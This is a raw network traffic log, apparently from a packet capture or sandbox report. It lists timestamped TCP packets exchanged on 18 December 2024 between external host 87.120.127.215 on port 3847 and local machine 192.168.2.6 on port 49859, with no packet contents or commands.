Dec 18, 2024 19:28:07.448225975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.448283911 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.448339939 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.449347973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.449476957 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.449476957 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.450218916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.450300932 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.450351954 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.451042891 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.451097012 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.451105118 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.451889038 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.451996088 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.452029943 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.452862978 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.452918053 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.453013897 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.453798056 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.453890085 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.453943968 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.454725027 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.454808950 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.454823971 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.455684900 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.455775023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.455831051 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.456656933 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.456707954 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.456811905 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.457622051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.457787037 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.457940102 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.458625078 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.458673954 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.458717108 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.459539890 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.459567070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.459682941 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.460524082 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.460586071 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.460619926 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.461493015 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.461647034 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.461683035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.462483883 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.462584019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.462708950 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.463371992 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.463464975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.463500977 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.464298010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.464391947 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.606355906 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.606420994 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.606436014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.606514931 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.606580019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.606652975 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.607481956 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.607682943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.607765913 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.608433962 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.608540058 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.608597040 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.609615088 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.609707117 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.609781981 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.610276937 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.610475063 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.611068010 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.611251116 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.611346006 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.611392975 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.612195969 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.612281084 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.612611055 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.613194942 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.613284111 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.613488913 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.614104986 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.614265919 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.614412069 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.615062952 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.615287066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.615330935 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.616072893 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.616167068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.616225958 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.616970062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.617105961 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.617547035 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.617938042 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.618032932 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.618109941 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.618896008 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.619056940 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.619110107 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.619851112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.620002985 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.620060921 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.620843887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.620981932 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.621304035 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.621846914 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.622008085 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.622097015 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.622777939 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.622876883 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.622937918 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.623735905 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.623810053 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.623904943 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.624631882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.624675989 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.624821901 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.625612974 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.625722885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.625857115 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.626529932 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.626657963 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.626854897 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.627572060 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.627664089 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.627742052 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.628535986 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.628644943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.628751040 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.629451990 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.629525900 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.629651070 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.630397081 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.630551100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.630652905 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.631359100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.631519079 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.631697893 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.632303953 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.632411003 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.632539034 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.633244038 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.633332014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.633480072 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.634205103 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.634315014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.634641886 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.635270119 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.635302067 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.636193037 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.636245966 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.636286974 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.636384010 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.637092113 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.637226105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.637345076 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.638103008 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.638195038 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.638252974 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.639050961 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.639143944 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.639215946 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.639965057 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.640149117 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.640203953 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.640957117 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.641145945 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.641211987 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.641944885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.642101049 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.642627954 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.642828941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.642924070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.643134117 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.643876076 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.643987894 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.644078970 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.644829988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.644901991 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.644963026 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.645693064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.645843029 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.646022081 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.646681070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.646781921 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.646893024 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.647653103 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.647774935 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.647833109 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.648582935 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.648715019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.649085045 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.649511099 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.649724007 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.649836063 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.650500059 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.650616884 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.650732994 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.651454926 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.651526928 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.651762009 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.652415037 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.652549982 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.652837038 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.653450012 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.653565884 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.653625965 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.654402971 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.654617071 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.654716969 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.655324936 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.655453920 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.656234980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.656433105 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.798512936 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.798563957 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.798712015 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.798832893 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.799105883 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.799149036 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.799622059 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.799715042 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.799801111 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.800546885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.800640106 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.800754070 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.801533937 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.801904917 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.801963091 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.802489996 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.802568913 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.803332090 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.803423882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.803488016 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.803580046 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.804428101 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.804559946 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.804934978 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.805397987 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.805548906 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.805732012 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.806324005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.806421995 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.806679010 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.807274103 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.807488918 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.807538986 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.808263063 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.808290958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.809168100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.809258938 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.809272051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.809364080 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.810158014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.810293913 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.810648918 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.811186075 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.811242104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.811290979 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.812190056 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.812408924 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.812474966 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.813148022 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.813281059 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.813355923 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.814038038 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.814153910 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.814296007 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.815032959 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.815186977 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.815929890 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.816030025 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.816034079 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.816072941 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.816839933 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.816930056 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.817194939 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.817821980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.817918062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.818078041 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.818830967 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.818944931 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.819336891 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.819698095 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.819797993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.819859028 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.820686102 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.820801973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.820851088 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.821662903 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.821815014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.822011948 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.822613955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.822685957 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.822837114 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.823558092 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.823661089 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.823729992 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.824526072 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.824589968 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.824951887 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.825467110 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.825609922 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.825743914 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.826469898 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.826566935 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.826627016 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.827438116 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.827545881 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.827599049 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.828386068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.828494072 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.828557014 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.829430103 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.829524040 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.829745054 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.830277920 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.830358028 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.830672979 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.831208944 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.831322908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.831377983 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.832210064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.832317114 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.832664967 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.833142996 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.833260059 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.833426952 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.834084988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.834223986 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.834352016 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.835200071 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.835328102 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.835861921 CET	49859	3847	192.168.2.6	87.120.127.215
